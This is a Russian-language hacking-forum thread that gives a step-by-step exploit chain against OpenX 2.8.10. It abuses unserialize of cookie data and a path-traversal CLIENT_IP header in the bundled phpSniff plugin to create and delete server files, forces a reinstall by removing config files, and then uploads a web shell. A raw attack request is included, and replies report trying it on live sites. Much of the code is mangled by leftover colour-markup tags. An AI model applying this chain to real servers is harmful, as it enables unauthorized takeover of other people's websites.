[/COLOR][COLOR="#0000BB"]$aPos[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]]) ?[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

 if ([/COLOR][COLOR="#0000BB"]$aPos[/COLOR][COLOR="#007700"]&& ![/COLOR][COLOR="#0000BB"]$qPos[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$desturl[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$aPos[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$destparams[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]],[/COLOR][COLOR="#0000BB"]$aPos[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]] =[/COLOR][COLOR="#0000BB"]$desturl[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$destparams[/COLOR][COLOR="#007700"];

 }

 } else {

[/COLOR][COLOR="#0000BB"]parse_str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"]);

 }

 if ([/COLOR][COLOR="#0000BB"]$dest[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]] =[/COLOR][COLOR="#0000BB"]$dest[/COLOR][COLOR="#007700"];

 }

[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"]]]) ?[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"]]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

 if (empty([/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"])) {

[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"]]]) ?[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"]]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

 }

if (!empty([/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]) && !empty([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'vars'[/COLOR][COLOR="#007700"]]][[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]])) {

[/COLOR][COLOR="#0000BB"]$aVars[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'vars'[/COLOR][COLOR="#007700"]]][[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]]));

foreach ([/COLOR][COLOR="#0000BB"]$aVars[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {

 if (!isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]])) {

[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"];

 }

 }

 }

[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"];

}

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
Параметр проходит через stripslashes, и проблем с магическими кавычками быть не должно, в крайнем случае можно самим наслешировать параметр.

Если мы отправим _GET[n]=data, то мы можем прогнать через unserialize значение куков OAVARS[data], но при условии, что OAVARS в конфиге не изменено.

Чем это нам поможит? Попробуйте выполнить этот код:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]foo[/COLOR][COLOR="#007700"];

 }

}

[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'O:9:"someClass":1:{s:3:"foo";s:4:"abcd";}'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$u[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
Он выведет abcd, а без unserialize ничего не выведет. Выполняем print_r(get_declared_classes()) - сейчас у нас подключен только phpSniff. Стоп, а что за phpSniff?

phpSniff Располагается в /plugins/deliveryLimitations/Client/lib/phpSniff/, при этом он распаковывается позже, а не нахоится там сразу-же в стандартных исходниках.

Если мы исследуем OpenX, то мы будем исслеовать и phpSniff.

index.php:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cc'[/COLOR][COLOR="#007700"]],

[/COLOR][COLOR="#DD0000"]'default_language'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dl'[/COLOR][COLOR="#007700"]],

[/COLOR][COLOR="#DD0000"]'allow_masquerading'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'am'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$client[/COLOR][COLOR="#007700"]=& new[/COLOR][COLOR="#0000BB"]phpSniff[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'UA'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$sniffer_settings[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
phpSniff:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]_check_cookies[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$check_cookies[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_default_language[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$default_language[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_allow_masquerading[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$allow_masquerading[/COLOR][COLOR="#007700"];

 } else {

[/COLOR][COLOR="#FF8000"]// for backwards compatibility with 2.0.x series

[/COLOR][COLOR="#0000BB"]$run[/COLOR][COLOR="#007700"]= (bool)[/COLOR][COLOR="#0000BB"]$settings[/COLOR][COLOR="#007700"];

 }

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
IP:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]_set_browser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ip'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]);

 }

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
И самое главное:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]_check_cookies[/COLOR][COLOR="#007700"])

 {[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_temp_file_path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]property[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ip'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]'r'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//var $_temp_file_path = '/tmp/'; // with trailing slash

[/COLOR][COLOR="#007700"]if(![/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"])

 {[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_temp_file_path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]property[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ip'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]// make sure we have a valid file pointer

[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'phpSniff_session'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'ss'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'phpSniff_stored'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'st'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]()+[/COLOR][COLOR="#0000BB"]3600[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]365[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$QS[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PATH_INFO'[/COLOR][COLOR="#007700"])?[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PATH_INFO'[/COLOR][COLOR="#007700"]):[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SCRIPT_NAME'[/COLOR][COLOR="#007700"]);

 if([/COLOR][COLOR="#0000BB"]is_integer[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strrev[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]"php.xedni/"[/COLOR][COLOR="#007700"]))&&![/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strrev[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strrev[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]));

 }

 }

[/COLOR][COLOR="#0000BB"]$location[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SERVER_NAME'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]$QS[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$QS[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:[/COLOR][COLOR="#0000BB"]$location[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

 exit;

 } elseif([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#FF8000"]// we only want to proceed if we have a file pointer

[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_temp_file_path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]property[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ip'[/COLOR][COLOR="#007700"]));

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_set_browser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ss_cookies'[/COLOR][COLOR="#007700"],isset([/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'phpSniff_session'[/COLOR][COLOR="#007700"]])?[/COLOR][COLOR="#DD0000"]'true'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'false'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_set_browser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'st_cookies'[/COLOR][COLOR="#007700"],isset([/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'phpSniff_stored'[/COLOR][COLOR="#007700"]])?[/COLOR][COLOR="#DD0000"]'true'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'false'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]// delete the old cookies

[/COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'phpSniff_session'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'phpSniff_stored'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

 }

 }

 }

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
Мы можем создавать пустые файлы на сервере, а так-же удалять то, что нам нужно:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//Если файл не существует - он создается, иначе - удаляется

[/COLOR][COLOR="#0000BB"]GET[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]plugins[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]deliveryLimitations[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]Client[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]lib[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]phpSniff[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]index[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]cc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]asdf HTTP[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]1.1

Host[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]127.0.0.1

User[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Agent[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]IE

Accept[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]html[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]xhtml[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]xml[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]xml[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]q[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0.9[/COLOR][COLOR="#007700"],*[/COLOR][COLOR="#FF8000"]/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

CLIENT_IP: /../tmp/path

Cache-Control: max-age=0

[/COLOR][/COLOR] 
Теперь нам нужно раскртие пути, в phpSniff установлено E_ALL(index.php?UA[]), только вот display_errors на удаленном сервере похоже что off.

Хитрим:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]grep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]rnw[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#DD0000"]"display_errors"[/COLOR][COLOR="#007700"]*/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/

*/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]admin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]plugins[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openXWorkflow[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]bootstrap[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]ini_set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'display_errors'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR] 
Имеется раскрытие пути, смотрим путь - http://***/ox/www/admin/plugins/openXWorkflow/application/bootstrap.php

Имеем /home/ox/

Остается только удалить что-то полезное, что даст нам переустановить OpenX и залить шелл, возможно успев сохранить конфиг т.е. не приченяя вред ресурсу.

Файл /home/ox/var/INSTALLED отвечает за это, однако удалить его оказалось недостаточно.

Цитата:
Сообщение от None  
Firefox определил, что сервер перенаправляет запрос на этот адрес таким образом, что он никогда не завершится.
Теперь, ВНИМАНИЕ, что бы запустить инсталяцию следует:
  • Удалить файл INSTALLED
  • Создать файл UPGRADE
  • Удалить файл default.conf.php

    В нем находится:

    PHP код:
    PHP:
    [    COLOR="#000000"];[COLOR="#0000BB"]

    [/    COLOR];*** DO NOT REMOVE THE LINE ABOVE ***

    realConfig="127.0.0.1"

    [/COLOR] 
  • Прописать в hosts: *.*.*.* asdf
  • Перейти на http://asdf/path/to/openX/install.php?action=welcome
Если вдруг во время переустановки у вас не хватит прав на каталоги , можно вернуть всё обратно по этой-же инструкции, + подложив за место default.conf.php пустой файл.

Идем дальше, нам необходимо создать базу MySQL, только вот к этому хосту мы не имеем доступа, и нам придется указывать наш удаленный хост, только не забудте права обрезать

Перекачка данных на базу займет длительный объем времени.

Совершаем действие в ещё нескольких пунктах, минута и мы в админке.

Заливаем шелл по этой инструкции от (dm) - /showpost.php?p=1629085&postcount=2

Чистим каталог var, где находится asdf.conf.php, а вот главный конфиг остается незатертым.
 
Ответить с цитированием

  #2  
Старый 05.02.2013, 08:34
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию
Спущено, прикрепите к теме этой CMS.
 
Ответить с цитированием

  #3  
Старый 13.02.2013, 21:44
maxim2142
Новичок
Регистрация: 31.05.2010
Сообщений: 0
Провел на форуме:
6866

Репутация: 0
По умолчанию
*Плохие слова*....это было гениально и занимательно %)
 
Ответить с цитированием

  #4  
Старый 27.02.2013, 05:43
BestAV
Guest
Сообщений: n/a
Провел на форуме:
39305

Репутация: 0
По умолчанию
Цитата:
Сообщение от XAMEHA  
XAMEHA said:
Спущено, прикрепите к теме этой CMS.
Не работает с заглавными буквами. Strtolower всё режет.
 
Ответить с цитированием

  #5  
Старый 13.04.2013, 19:11
Dexec
Guest
Сообщений: n/a
Провел на форуме:
2907

Репутация: 0
По умолчанию
опробовал на нескольких сайтах пока результата нет ( при каких условиях бага работает ? не создает и не удаляет файлы ( если кто может помочь плз пм (
 
Ответить с цитированием

  #6  
Старый 13.04.2013, 19:17
Грабитель
Guest
Сообщений: n/a
Провел на форуме:
69791

Репутация: -7
По умолчанию
Цитата:
Сообщение от Dexec  
Dexec said:
опробовал на нескольких сайтах пока результата нет ( при каких условиях бага работает ? не создает и не удаляет файлы ( если кто может помочь плз пм (
Думаю, уже не при каких, ибо тогда не имело смысла багу спускать в паблик.

А так хоть автор покичится своими знаниями, покажет всю свою крутость школоте.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ